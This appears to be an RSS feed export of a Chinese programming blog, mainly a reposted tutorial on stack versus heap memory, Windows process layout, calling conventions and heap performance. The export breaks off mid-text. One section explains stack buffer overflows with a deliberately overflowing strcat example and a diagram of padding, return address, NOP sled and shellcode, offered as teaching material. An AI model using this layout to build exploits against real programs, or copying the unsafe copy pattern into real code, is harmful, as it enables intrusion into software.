﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-Martin Ding's Garden Plot-随笔分类-Others</title><link>http://www.cnitblog.com/martin/category/2454.html</link><description /><language>zh-cn</language><lastBuildDate>Wed, 28 Sep 2011 06:54:48 GMT</lastBuildDate><pubDate>Wed, 28 Sep 2011 06:54:48 GMT</pubDate><ttl>60</ttl><item><title>小试Windows Live Writer</title><link>http://www.cnitblog.com/martin/archive/2008/10/20/50482.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Mon, 20 Oct 2008 07:25:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2008/10/20/50482.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/50482.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2008/10/20/50482.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/50482.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/50482.html</trackback:ping><description><![CDATA[<p>直接用Writer发表试试。</p><img src ="http://www.cnitblog.com/martin/aggbug/50482.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2008-10-20 15:25 <a href="http://www.cnitblog.com/martin/archive/2008/10/20/50482.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]堆和栈的区别</title><link>http://www.cnitblog.com/martin/archive/2006/05/09/10268.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Tue, 09 May 2006 10:23:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/05/09/10268.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/10268.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/05/09/10268.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/10268.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/10268.html</trackback:ping><description><![CDATA[
		<div class="postbody">From: <a href="http://www.cppblog.com/oosky/archive/2006/01/21/2958.html">http://www.cppblog.com/oosky/archive/2006/01/21/2958.html</a><br /><br />堆和栈的区别<br />一、预备知识—程序的内存分配<br />一个由c/C++编译的程序占用的内存分为以下几个部分<br />1、栈区（stack）— 由编译器自动分配释放 ，存放函数的参数值，局部变量的值等。其操作方式类似于数据结构中的栈。<br />2、堆区（heap） — 一般由程序员分配释放， 若程序员不释放，程序结束时可能由OS回收 。注意它与数据结构中的堆是两回事，分配方式倒是类似于链表，呵呵。<br />3、全局区（静态区）（static）—，全局变量和静态变量的存储是放在一块的，初始化的全局变量和静态变量在一块区域， 未初始化的全局变量和未初始化的静态变量在相邻的另一块区域。 - 程序结束后有系统释放 <br />4、文字常量区—常量字符串就是放在这里的。 程序结束后由系统释放<br />5、程序代码区—存放函数体的二进制代码。<br />二、例子程序 <br />这是一个前辈写的，非常详细 <br />//main.cpp <br />int a = 0; 全局初始化区 <br />char *p1; 全局未初始化区 <br />main() <br />{ <br />int b; 栈 <br />char s[] = "abc"; 栈 <br />char *p2; 栈 <br />char *p3 = "123456"; 123456\0在常量区，p3在栈上。 <br />static int c =0； 全局（静态）初始化区 <br />p1 = (char *)malloc(10); <br />p2 = (char *)malloc(20); <br />分配得来得10和20字节的区域就在堆区。 <br />strcpy(p1, "123456"); 123456\0放在常量区，编译器可能会将它与p3所指向的"123456"优化成一个地方。 <br />}  
<p></p><p><br />二、堆和栈的理论知识 <br />2.1申请方式 <br />stack: <br />由系统自动分配。 例如，声明在函数中一个局部变量 int b; 系统自动在栈中为b开辟空间 <br />heap: <br />需要程序员自己申请，并指明大小，在c中malloc函数 <br />如p1 = (char *)malloc(10); <br />在C++中用new运算符 <br />如p2 = (char *)malloc(10); <br />但是注意p1、p2本身是在栈中的。 </p><p><br />2.2 <br />申请后系统的响应 <br />栈：只要栈的剩余空间大于所申请空间，系统将为程序提供内存，否则将报异常提示栈溢出。 <br />堆：首先应该知道操作系统有一个记录空闲内存地址的链表，当系统收到程序的申请时， <br />会遍历该链表，寻找第一个空间大于所申请空间的堆结点，然后将该结点从空闲结点链表中删除，并将该结点的空间分配给程序，另外，对于大多数系统，会在这块内存空间中的首地址处记录本次分配的大小，这样，代码中的delete语句才能正确的释放本内存空间。另外，由于找到的堆结点的大小不一定正好等于申请的大小，系统会自动的将多余的那部分重新放入空闲链表中。 </p><p>2.3申请大小的限制 <br />栈：在Windows下,栈是向低地址扩展的数据结构，是一块连续的内存的区域。这句话的意思是栈顶的地址和栈的最大容量是系统预先规定好的，在WINDOWS下，栈的大小是2M（也有的说是1M，总之是一个编译时就确定的常数），如果申请的空间超过栈的剩余空间时，将提示overflow。因此，能从栈获得的空间较小。 <br />堆：堆是向高地址扩展的数据结构，是不连续的内存区域。这是由于系统是用链表来存储的空闲内存地址的，自然是不连续的，而链表的遍历方向是由低地址向高地址。堆的大小受限于计算机系统中有效的虚拟内存。由此可见，堆获得的空间比较灵活，也比较大。 </p><p><br />2.4申请效率的比较： <br />栈由系统自动分配，速度较快。但程序员是无法控制的。 <br />堆是由new分配的内存，一般速度比较慢，而且容易产生内存碎片,不过用起来最方便. <br />另外，在WINDOWS下，最好的方式是用VirtualAlloc分配内存，他不是在堆，也不是在栈是直接在进程的地址空间中保留一快内存，虽然用起来最不方便。但是速度快，也最灵活。 </p><p>2.5堆和栈中的存储内容 <br />栈： 在函数调用时，第一个进栈的是主函数中后的下一条指令（函数调用语句的下一条可执行语句）的地址，然后是函数的各个参数，在大多数的C编译器中，参数是由右往左入栈的，然后是函数中的局部变量。注意静态变量是不入栈的。 <br />当本次函数调用结束后，局部变量先出栈，然后是参数，最后栈顶指针指向最开始存的地址，也就是主函数中的下一条指令，程序由该点继续运行。 <br />堆：一般是在堆的头部用一个字节存放堆的大小。堆中的具体内容有程序员安排。 </p><p>2.6存取效率的比较 </p><p>char s1[] = "aaaaaaaaaaaaaaa"; <br />char *s2 = "bbbbbbbbbbbbbbbbb"; <br />aaaaaaaaaaa是在运行时刻赋值的； <br />而bbbbbbbbbbb是在编译时就确定的； <br />但是，在以后的存取中，在栈上的数组比指针所指向的字符串(例如堆)快。 <br />比如： <br />#include <br />void main() <br />{ <br />char a = 1; <br />char c[] = "1234567890"; <br />char *p ="1234567890"; <br />a = c[1]; <br />a = p[1]; <br />return; <br />} <br />对应的汇编代码 <br />10: a = c[1]; <br />00401067 8A 4D F1 mov cl,byte ptr [ebp-0Fh] <br />0040106A 88 4D FC mov byte ptr [ebp-4],cl <br />11: a = p[1]; <br />0040106D 8B 55 EC mov edx,dword ptr [ebp-14h] <br />00401070 8A 42 01 mov al,byte ptr [edx+1] <br />00401073 88 45 FC mov byte ptr [ebp-4],al <br />第一种在读取时直接就把字符串中的元素读到寄存器cl中，而第二种则要先把指针值读到edx中，在根据edx读取字符，显然慢了。 </p><p><br />2.7小结： <br />堆和栈的区别可以用如下的比喻来看出： <br />使用栈就象我们去饭馆里吃饭，只管点菜（发出申请）、付钱、和吃（使用），吃饱了就走，不必理会切菜、洗菜等准备工作和洗碗、刷锅等扫尾工作，他的好处是快捷，但是自由度小。 <br />使用堆就象是自己动手做喜欢吃的菜肴，比较麻烦，但是比较符合自己的口味，而且自由度大。 <br /><br /><br /><br /></p><p>windows进程中的内存结构</p><p><br />在阅读本文之前，如果你连堆栈是什么多不知道的话，请先阅读文章后面的基础知识。 </p><p>接触过编程的人都知道，高级语言都能通过变量名来访问内存中的数据。那么这些变量在内存中是如何存放的呢？程序又是如何使用这些变量的呢？下面就会对此进行深入的讨论。下文中的C语言代码如没有特别声明，默认都使用VC编译的release版。 </p><p>首先，来了解一下 C 语言的变量是如何在内存分部的。C 语言有全局变量(Global)、本地变量(Local)，静态变量(Static)、寄存器变量(Regeister)。每种变量都有不同的分配方式。先来看下面这段代码： </p><p>#include &lt;stdio.h&gt; </p><p>int g1=0, g2=0, g3=0; </p><p>int main() <br />{ <br />static int s1=0, s2=0, s3=0; <br />int v1=0, v2=0, v3=0; </p><p>//打印出各个变量的内存地址 </p><p>printf("0x%08x\n",&amp;v1); //打印各本地变量的内存地址 <br />printf("0x%08x\n",&amp;v2); <br />printf("0x%08x\n\n",&amp;v3); <br />printf("0x%08x\n",&amp;g1); //打印各全局变量的内存地址 <br />printf("0x%08x\n",&amp;g2); <br />printf("0x%08x\n\n",&amp;g3); <br />printf("0x%08x\n",&amp;s1); //打印各静态变量的内存地址 <br />printf("0x%08x\n",&amp;s2); <br />printf("0x%08x\n\n",&amp;s3); <br />return 0; <br />} </p><p>编译后的执行结果是： </p><p>0x0012ff78 <br />0x0012ff7c <br />0x0012ff80 </p><p>0x004068d0 <br />0x004068d4 <br />0x004068d8 </p><p>0x004068dc <br />0x004068e0 <br />0x004068e4 </p><p>输出的结果就是变量的内存地址。其中v1,v2,v3是本地变量，g1,g2,g3是全局变量，s1,s2,s3是静态变量。你可以看到这些变量在内存是连续分布的，但是本地变量和全局变量分配的内存地址差了十万八千里，而全局变量和静态变量分配的内存是连续的。这是因为本地变量和全局/静态变量是分配在不同类型的内存区域中的结果。对于一个进程的内存空间而言，可以在逻辑上分成3个部份：代码区，静态数据区和动态数据区。动态数据区一般就是“堆栈”。“栈(stack)”和“堆(heap)”是两种不同的动态数据区，栈是一种线性结构，堆是一种链式结构。进程的每个线程都有私有的“栈”，所以每个线程虽然代码一样，但本地变量的数据都是互不干扰。一个堆栈可以通过“基地址”和“栈顶”地址来描述。全局变量和静态变量分配在静态数据区，本地变量分配在动态数据区，即堆栈中。程序通过堆栈的基地址和偏移量来访问本地变量。 </p><p><br />├———————┤低端内存区域 <br />│ …… │ <br />├———————┤ <br />│ 动态数据区 │ <br />├———————┤ <br />│ …… │ <br />├———————┤ <br />│ 代码区 │ <br />├———————┤ <br />│ 静态数据区 │ <br />├———————┤ <br />│ …… │ <br />├———————┤高端内存区域 </p><p><br />堆栈是一个先进后出的数据结构，栈顶地址总是小于等于栈的基地址。我们可以先了解一下函数调用的过程，以便对堆栈在程序中的作用有更深入的了解。不同的语言有不同的函数调用规定，这些因素有参数的压入规则和堆栈的平衡。windows API的调用规则和ANSI C的函数调用规则是不一样的，前者由被调函数调整堆栈，后者由调用者调整堆栈。两者通过“__stdcall”和“__cdecl”前缀区分。先看下面这段代码： </p><p>#include &lt;stdio.h&gt; </p><p>void __stdcall func(int param1,int param2,int param3) <br />{ <br />int var1=param1; <br />int var2=param2; <br />int var3=param3; <br />printf("0x%08x\n",¶m1); //打印出各个变量的内存地址 <br />printf("0x%08x\n",¶m2); <br />printf("0x%08x\n\n",¶m3); <br />printf("0x%08x\n",&amp;var1); <br />printf("0x%08x\n",&amp;var2); <br />printf("0x%08x\n\n",&amp;var3); <br />return; <br />} </p><p>int main() <br />{ <br />func(1,2,3); <br />return 0; <br />} </p><p>编译后的执行结果是： </p><p>0x0012ff78 <br />0x0012ff7c <br />0x0012ff80 </p><p>0x0012ff68 <br />0x0012ff6c <br />0x0012ff70 </p><p><br />├———————┤&lt;—函数执行时的栈顶（ESP）、低端内存区域 <br />│ …… │ <br />├———————┤ <br />│ var 1 │ <br />├———————┤ <br />│ var 2 │ <br />├———————┤ <br />│ var 3 │ <br />├———————┤ <br />│ RET │ <br />├———————┤&lt;—“__cdecl”函数返回后的栈顶（ESP） <br />│ parameter 1 │ <br />├———————┤ <br />│ parameter 2 │ <br />├———————┤ <br />│ parameter 3 │ <br />├———————┤&lt;—“__stdcall”函数返回后的栈顶（ESP） <br />│ …… │ <br />├———————┤&lt;—栈底（基地址 EBP）、高端内存区域 </p><p><br />上图就是函数调用过程中堆栈的样子了。首先，三个参数以从又到左的次序压入堆栈，先压“param3”，再压“param2”，最后压入“param1”；然后压入函数的返回地址(RET)，接着跳转到函数地址接着执行（这里要补充一点，介绍UNIX下的缓冲溢出原理的文章中都提到在压入RET后，继续压入当前EBP，然后用当前ESP代替EBP。然而，有一篇介绍windows下函数调用的文章中说，在windows下的函数调用也有这一步骤，但根据我的实际调试，并未发现这一步，这还可以从param3和var1之间只有4字节的间隙这点看出来）；第三步，将栈顶(ESP)减去一个数，为本地变量分配内存空间，上例中是减去12字节(ESP=ESP-3*4，每个int变量占用4个字节)；接着就初始化本地变量的内存空间。由于“__stdcall”调用由被调函数调整堆栈，所以在函数返回前要恢复堆栈，先回收本地变量占用的内存(ESP=ESP+3*4)，然后取出返回地址，填入EIP寄存器，回收先前压入参数占用的内存(ESP=ESP+3*4)，继续执行调用者的代码。参见下列汇编代码： </p><p>;--------------func 函数的汇编代码------------------- </p><p>:00401000 83EC0C sub esp, 0000000C //创建本地变量的内存空间 <br />:00401003 8B442410 mov eax, dword ptr [esp+10] <br />:00401007 8B4C2414 mov ecx, dword ptr [esp+14] <br />:0040100B 8B542418 mov edx, dword ptr [esp+18] <br />:0040100F 89442400 mov dword ptr [esp], eax <br />:00401013 8D442410 lea eax, dword ptr [esp+10] <br />:00401017 894C2404 mov dword ptr [esp+04], ecx </p><p>……………………（省略若干代码） </p><p>:00401075 83C43C add esp, 0000003C ;恢复堆栈，回收本地变量的内存空间 <br />:00401078 C3 ret 000C ;函数返回，恢复参数占用的内存空间 <br />;如果是“__cdecl”的话，这里是“ret”，堆栈将由调用者恢复 </p><p>;-------------------函数结束------------------------- </p><p><br />;--------------主程序调用func函数的代码-------------- </p><p>:00401080 6A03 push 00000003 //压入参数param3 <br />:00401082 6A02 push 00000002 //压入参数param2 <br />:00401084 6A01 push 00000001 //压入参数param1 <br />:00401086 E875FFFFFF call 00401000 //调用func函数 <br />;如果是“__cdecl”的话，将在这里恢复堆栈，“add esp, 0000000C” </p><p>聪明的读者看到这里，差不多就明白缓冲溢出的原理了。先来看下面的代码： </p><p>#include &lt;stdio.h&gt; <br />#include &lt;string.h&gt; </p><p>void __stdcall func() <br />{ <br />char lpBuff[8]="\0"; <br />strcat(lpBuff,"AAAAAAAAAAA"); <br />return; <br />} </p><p>int main() <br />{ <br />func(); <br />return 0; <br />} </p><p>编译后执行一下回怎么样？哈，“"0x00414141"指令引用的"0x00000000"内存。该内存不能为"read"。”，“非法操作”喽！"41"就是"A"的16进制的ASCII码了，那明显就是strcat这句出的问题了。"lpBuff"的大小只有8字节，算进结尾的\0，那strcat最多只能写入7个"A"，但程序实际写入了11个"A"外加1个\0。再来看看上面那幅图，多出来的4个字节正好覆盖了RET的所在的内存空间，导致函数返回到一个错误的内存地址，执行了错误的指令。如果能精心构造这个字符串，使它分成三部分，前一部份仅仅是填充的无意义数据以达到溢出的目的，接着是一个覆盖RET的数据，紧接着是一段shellcode，那只要着个RET地址能指向这段shellcode的第一个指令，那函数返回时就能执行shellcode了。但是软件的不同版本和不同的运行环境都可能影响这段shellcode在内存中的位置，那么要构造这个RET是十分困难的。一般都在RET和shellcode之间填充大量的NOP指令，使得exploit有更强的通用性。 </p><p><br />├———————┤&lt;—低端内存区域 <br />│ …… │ <br />├———————┤&lt;—由exploit填入数据的开始 <br />│ │ <br />│ buffer │&lt;—填入无用的数据 <br />│ │ <br />├———————┤ <br />│ RET │&lt;—指向shellcode，或NOP指令的范围 <br />├———————┤ <br />│ NOP │ <br />│ …… │&lt;—填入的NOP指令，是RET可指向的范围 <br />│ NOP │ <br />├———————┤ <br />│ │ <br />│ shellcode │ <br />│ │ <br />├———————┤&lt;—由exploit填入数据的结束 <br />│ …… │ <br />├———————┤&lt;—高端内存区域 </p><p><br />windows下的动态数据除了可存放在栈中，还可以存放在堆中。了解C++的朋友都知道，C++可以使用new关键字来动态分配内存。来看下面的C++代码： </p><p>#include &lt;stdio.h&gt; <br />#include &lt;iostream.h&gt; <br />#include &lt;windows.h&gt; </p><p>void func() <br />{ <br />char *buffer=new char[128]; <br />char bufflocal[128]; <br />static char buffstatic[128]; <br />printf("0x%08x\n",buffer); //打印堆中变量的内存地址 <br />printf("0x%08x\n",bufflocal); //打印本地变量的内存地址 <br />printf("0x%08x\n",buffstatic); //打印静态变量的内存地址 <br />} </p><p>void main() <br />{ <br />func(); <br />return; <br />} </p><p>程序执行结果为： </p><p>0x004107d0 <br />0x0012ff04 <br />0x004068c0 </p><p>可以发现用new关键字分配的内存即不在栈中，也不在静态数据区。VC编译器是通过windows下的“堆(heap)”来实现new关键字的内存动态分配。在讲“堆”之前，先来了解一下和“堆”有关的几个API函数： </p><p>HeapAlloc 在堆中申请内存空间 <br />HeapCreate 创建一个新的堆对象 <br />HeapDestroy 销毁一个堆对象 <br />HeapFree 释放申请的内存 <br />HeapWalk 枚举堆对象的所有内存块 <br />GetProcessHeap 取得进程的默认堆对象 <br />GetProcessHeaps 取得进程所有的堆对象 <br />LocalAlloc <br />GlobalAlloc </p><p>当进程初始化时，系统会自动为进程创建一个默认堆，这个堆默认所占内存的大小为1M。堆对象由系统进行管理，它在内存中以链式结构存在。通过下面的代码可以通过堆动态申请内存空间： </p><p>HANDLE hHeap=GetProcessHeap(); <br />char *buff=HeapAlloc(hHeap,0,8); </p><p>其中hHeap是堆对象的句柄，buff是指向申请的内存空间的地址。那这个hHeap究竟是什么呢？它的值有什么意义吗？看看下面这段代码吧： </p><p>#pragma comment(linker,"/entry:main") //定义程序的入口 <br />#include &lt;windows.h&gt; </p><p>_CRTIMP int (__cdecl *printf)(const char *, ...); //定义STL函数printf <br />/*--------------------------------------------------------------------------- <br />写到这里，我们顺便来复习一下前面所讲的知识： <br />(*注)printf函数是C语言的标准函数库中函数，VC的标准函数库由msvcrt.dll模块实现。 <br />由函数定义可见，printf的参数个数是可变的，函数内部无法预先知道调用者压入的参数个数，函数只能通过分析第一个参数字符串的格式来获得压入参数的信息，由于这里参数的个数是动态的，所以必须由调用者来平衡堆栈，这里便使用了__cdecl调用规则。BTW，Windows系统的API函数基本上是__stdcall调用形式，只有一个API例外，那就是wsprintf，它使用__cdecl调用规则，同printf函数一样，这是由于它的参数个数是可变的缘故。 <br />---------------------------------------------------------------------------*/ <br />void main() <br />{ <br />HANDLE hHeap=GetProcessHeap(); <br />char *buff=HeapAlloc(hHeap,0,0x10); <br />char *buff2=HeapAlloc(hHeap,0,0x10); <br />HMODULE hMsvcrt=LoadLibrary("msvcrt.dll"); <br />printf=(void *)GetProcAddress(hMsvcrt,"printf"); <br />printf("0x%08x\n",hHeap); <br />printf("0x%08x\n",buff); <br />printf("0x%08x\n\n",buff2); <br />} </p><p>执行结果为： </p><p>0x00130000 <br />0x00133100 <br />0x00133118 </p><p>hHeap的值怎么和那个buff的值那么接近呢？其实hHeap这个句柄就是指向HEAP首部的地址。在进程的用户区存着一个叫PEB(进程环境块)的结构，这个结构中存放着一些有关进程的重要信息，其中在PEB首地址偏移0x18处存放的ProcessHeap就是进程默认堆的地址，而偏移0x90处存放了指向进程所有堆的地址列表的指针。windows有很多API都使用进程的默认堆来存放动态数据，如windows 2000下的所有ANSI版本的函数都是在默认堆中申请内存来转换ANSI字符串到Unicode字符串的。对一个堆的访问是顺序进行的，同一时刻只能有一个线程访问堆中的数据，当多个线程同时有访问要求时，只能排队等待，这样便造成程序执行效率下降。 </p><p>最后来说说内存中的数据对齐。所位数据对齐，是指数据所在的内存地址必须是该数据长度的整数倍，DWORD数据的内存起始地址能被4除尽，WORD数据的内存起始地址能被2除尽，x86 CPU能直接访问对齐的数据，当他试图访问一个未对齐的数据时，会在内部进行一系列的调整，这些调整对于程序来说是透明的，但是会降低运行速度，所以编译器在编译程序时会尽量保证数据对齐。同样一段代码，我们来看看用VC、Dev-C++和lcc三个不同编译器编译出来的程序的执行结果： </p><p>#include &lt;stdio.h&gt; </p><p>int main() <br />{ <br />int a; <br />char b; <br />int c; <br />printf("0x%08x\n",&amp;a); <br />printf("0x%08x\n",&amp;b); <br />printf("0x%08x\n",&amp;c); <br />return 0; <br />} </p><p>这是用VC编译后的执行结果： <br />0x0012ff7c <br />0x0012ff7b <br />0x0012ff80 <br />变量在内存中的顺序：b(1字节)-a(4字节)-c(4字节)。 </p><p>这是用Dev-C++编译后的执行结果： <br />0x0022ff7c <br />0x0022ff7b <br />0x0022ff74 <br />变量在内存中的顺序：c(4字节)-中间相隔3字节-b(占1字节)-a(4字节)。 </p><p>这是用lcc编译后的执行结果： <br />0x0012ff6c <br />0x0012ff6b <br />0x0012ff64 <br />变量在内存中的顺序：同上。 </p><p>三个编译器都做到了数据对齐，但是后两个编译器显然没VC“聪明”，让一个char占了4字节，浪费内存哦。 </p><p><br />基础知识： <br />堆栈是一种简单的数据结构，是一种只允许在其一端进行插入或删除的线性表。允许插入或删除操作的一端称为栈顶，另一端称为栈底，对堆栈的插入和删除操作被称为入栈和出栈。有一组CPU指令可以实现对进程的内存实现堆栈访问。其中，POP指令实现出栈操作，PUSH指令实现入栈操作。CPU的ESP寄存器存放当前线程的栈顶指针，EBP寄存器中保存当前线程的栈底指针。CPU的EIP寄存器存放下一个CPU指令存放的内存地址，当CPU执行完当前的指令后，从EIP寄存器中读取下一条指令的内存地址，然后继续执行。 </p><p><br />参考：《Windows下的HEAP溢出及其利用》by: isno <br />《windows核心编程》by: Jeffrey Richter <br /><br /><br /><br /></p><p>摘要： 讨论常见的堆性能问题以及如何防范它们。（共 9 页）</p><p>前言<br />您是否是动态分配的 C/C++ 对象忠实且幸运的用户？您是否在模块间的往返通信中频繁地使用了“自动化”？您的程序是否因堆分配而运行起来很慢？不仅仅您遇到这样的问题。几乎所有项目迟早都会遇到堆问题。大家都想说，“我的代码真正好，只是堆太慢”。那只是部分正确。更深入理解堆及其用法、以及会发生什么问题，是很有用的。</p><p>什么是堆？<br />（如果您已经知道什么是堆，可以跳到“什么是常见的堆性能问题？”部分）</p><p>在程序中，使用堆来动态分配和释放对象。在下列情况下，调用堆操作： </p><p>事先不知道程序所需对象的数量和大小。</p><p><br />对象太大而不适合堆栈分配程序。<br />堆使用了在运行时分配给代码和堆栈的内存之外的部分内存。下图给出了堆分配程序的不同层。<br /><a href="http://club.5ivb.net/UploadFile/2005311144027byUID16686.gif" target="_blank"><img alt="" src="http://club.5ivb.net/UploadFile/2005311144027byUID16686.gif" onload="javascript:if(this.width&gt;screen.width-333)this.width=screen.width-333" border="0" dypop="按此在新窗口浏览图片" /></a></p><p>GlobalAlloc/GlobalFree：Microsoft Win32 堆调用，这些调用直接与每个进程的默认堆进行对话。</p><p>LocalAlloc/LocalFree：Win32 堆调用（为了与 Microsoft Windows NT 兼容），这些调用直接与每个进程的默认堆进行对话。</p><p>COM 的 IMalloc 分配程序（或 CoTaskMemAlloc / CoTaskMemFree）：函数使用每个进程的默认堆。自动化程序使用“组件对象模型 (COM)”的分配程序，而申请的程序使用每个进程堆。</p><p>C/C++ 运行时 (CRT) 分配程序：提供了 malloc() 和 free() 以及 new 和 delete 操作符。如 Microsoft Visual Basic 和 Java 等语言也提供了新的操作符并使用垃圾收集来代替堆。CRT 创建自己的私有堆，驻留在 Win32 堆的顶部。</p><p>Windows NT 中，Win32 堆是 Windows NT 运行时分配程序周围的薄层。所有 API 转发它们的请求给 NTDLL。</p><p>Windows NT 运行时分配程序提供 Windows NT 内的核心堆分配程序。它由具有 128 个大小从 8 到 1,024 字节的空闲列表的前端分配程序组成。后端分配程序使用虚拟内存来保留和提交页。</p><p>在图表的底部是“虚拟内存分配程序”，操作系统使用它来保留和提交页。所有分配程序使用虚拟内存进行数据的存取。</p><p>分配和释放块不就那么简单吗？为何花费这么长时间？</p><p>堆实现的注意事项<br />传统上，操作系统和运行时库是与堆的实现共存的。在一个进程的开始，操作系统创建一个默认堆，叫做“进程堆”。如果没有其他堆可使用，则块的分配使用“进程堆”。语言运行时也能在进程内创建单独的堆。（例如，C 运行时创建它自己的堆。）除这些专用的堆外，应用程序或许多已载入的动态链接库 (DLL) 之一可以创建和使用单独的堆。Win32 提供一整套 API 来创建和使用私有堆。有关堆函数（英文）的详尽指导，请参见 MSDN。</p><p>当应用程序或 DLL 创建私有堆时，这些堆存在于进程空间，并且在进程内是可访问的。从给定堆分配的数据将在同一个堆上释放。（不能从一个堆分配而在另一个堆释放。）</p><p>在所有虚拟内存系统中，堆驻留在操作系统的“虚拟内存管理器”的顶部。语言运行时堆也驻留在虚拟内存顶部。某些情况下，这些堆是操作系统堆中的层，而语言运行时堆则通过大块的分配来执行自己的内存管理。不使用操作系统堆，而使用虚拟内存函数更利于堆的分配和块的使用。</p><p>典型的堆实现由前、后端分配程序组成。前端分配程序维持固定大小块的空闲列表。对于一次分配调用，堆尝试从前端列表找到一个自由块。如果失败，堆被迫从后端（保留和提交虚拟内存）分配一个大块来满足请求。通用的实现有每块分配的开销，这将耗费执行周期，也减少了可使用的存储空间。</p><p>Knowledge Base 文章 Q10758，“用 calloc() 和 malloc() 管理内存” （搜索文章编号）, 包含了有关这些主题的更多背景知识。另外，有关堆实现和设计的详细讨论也可在下列著作中找到：“Dynamic Storage Allocation: A Survey and Critical Review”，作者 Paul R. Wilson、Mark S. Johnstone、Michael Neely 和 David Boles；“International Workshop on Memory Management”, 作者 Kinross, Scotland, UK, 1995 年 9 月(<img src="http://club.5ivb.net/pic/url.gif" align="absMiddle" border="0" /><a href="http://www.cs.utexas.edu/users/oops/papers.html" target="_blank"><font color="#000000">http://www.cs.utexas.edu/users/oops/papers.html</font></a>)（英文）。</p><p>Windows NT 的实现（Windows NT 版本 4.0 和更新版本） 使用了 127 个大小从 8 到 1,024 字节的 8 字节对齐块空闲列表和一个“大块”列表。“大块”列表（空闲列表[0]） 保存大于 1,024 字节的块。空闲列表容纳了用双向链表链接在一起的对象。默认情况下，“进程堆”执行收集操作。（收集是将相邻空闲块合并成一个大块的操作。）收集耗费了额外的周期，但减少了堆块的内部碎片。</p><p>单一全局锁保护堆，防止多线程式的使用。（请参见“Server Performance and Scalability Killers”中的第一个注意事项, George Reilly 所著，在 “MSDN Online Web Workshop”上（站点：<img src="http://club.5ivb.net/pic/url.gif" align="absMiddle" border="0" /><a href="http://msdn.microsoft.com/workshop/server/iis/tencom.asp" target="_blank"><font color="#000000">http://msdn.microsoft.com/workshop/server/iis/tencom.asp</font></a>（英文）。）单一全局锁本质上是用来保护堆数据结构，防止跨多线程的随机存取。若堆操作太频繁，单一全局锁会对性能有不利的影响。</p><p>什么是常见的堆性能问题？<br />以下是您使用堆时会遇到的最常见问题： </p><p>分配操作造成的速度减慢。光分配就耗费很长时间。最可能导致运行速度减慢原因是空闲列表没有块，所以运行时分配程序代码会耗费周期寻找较大的空闲块，或从后端分配程序分配新块。</p><p><br />释放操作造成的速度减慢。释放操作耗费较多周期，主要是启用了收集操作。收集期间，每个释放操作“查找”它的相邻块，取出它们并构造成较大块，然后再把此较大块插入空闲列表。在查找期间，内存可能会随机碰到，从而导致高速缓存不能命中，性能降低。</p><p><br />堆竞争造成的速度减慢。当两个或多个线程同时访问数据，而且一个线程继续进行之前必须等待另一个线程完成时就发生竞争。竞争总是导致麻烦；这也是目前多处理器系统遇到的最大问题。当大量使用内存块的应用程序或 DLL 以多线程方式运行（或运行于多处理器系统上）时将导致速度减慢。单一锁定的使用—常用的解决方案—意味着使用堆的所有操作是序列化的。当等待锁定时序列化会引起线程切换上下文。可以想象交叉路口闪烁的红灯处走走停停导致的速度减慢。 <br />竞争通常会导致线程和进程的上下文切换。上下文切换的开销是很大的，但开销更大的是数据从处理器高速缓存中丢失，以及后来线程复活时的数据重建。</p><p>堆破坏造成的速度减慢。造成堆破坏的原因是应用程序对堆块的不正确使用。通常情形包括释放已释放的堆块或使用已释放的堆块，以及块的越界重写等明显问题。（破坏不在本文讨论范围之内。有关内存重写和泄漏等其他细节，请参见 Microsoft Visual C++(R) 调试文档 。）</p><p><br />频繁的分配和重分配造成的速度减慢。这是使用脚本语言时非常普遍的现象。如字符串被反复分配，随重分配增长和释放。不要这样做，如果可能，尽量分配大字符串和使用缓冲区。另一种方法就是尽量少用连接操作。<br />竞争是在分配和释放操作中导致速度减慢的问题。理想情况下，希望使用没有竞争和快速分配/释放的堆。可惜，现在还没有这样的通用堆，也许将来会有。</p><p>在所有的服务器系统中（如 IIS、MSProxy、DatabaseStacks、网络服务器、 Exchange 和其他）, 堆锁定实在是个大瓶颈。处理器数越多，竞争就越会恶化。</p><p>尽量减少堆的使用<br />现在您明白使用堆时存在的问题了，难道您不想拥有能解决这些问题的超级魔棒吗？我可希望有。但没有魔法能使堆运行加快—因此不要期望在产品出货之前的最后一星期能够大为改观。如果提前规划堆策略，情况将会大大好转。调整使用堆的方法，减少对堆的操作是提高性能的良方。</p><p>如何减少使用堆操作？通过利用数据结构内的位置可减少堆操作的次数。请考虑下列实例：</p><p>struct ObjectA {<br />   // objectA 的数据 <br />}</p><p>struct ObjectB {<br />   // objectB 的数据 <br />}</p><p>// 同时使用 objectA 和 objectB</p><p>//<br />// 使用指针 <br />//<br />struct ObjectB {<br />   struct ObjectA * pObjA;<br />   // objectB 的数据 <br />}</p><p>//<br />// 使用嵌入<br />//<br />struct ObjectB {<br />   struct ObjectA pObjA;<br />   // objectB 的数据 <br />}</p><p>//<br />// 集合 – 在另一对象内使用 objectA 和 objectB<br />//</p><p>struct ObjectX {<br />   struct ObjectA  objA;<br />   struct ObjectB  objB;<br />}</p><p>避免使用指针关联两个数据结构。如果使用指针关联两个数据结构，前面实例中的对象 A 和 B 将被分别分配和释放。这会增加额外开销—我们要避免这种做法。</p><p><br 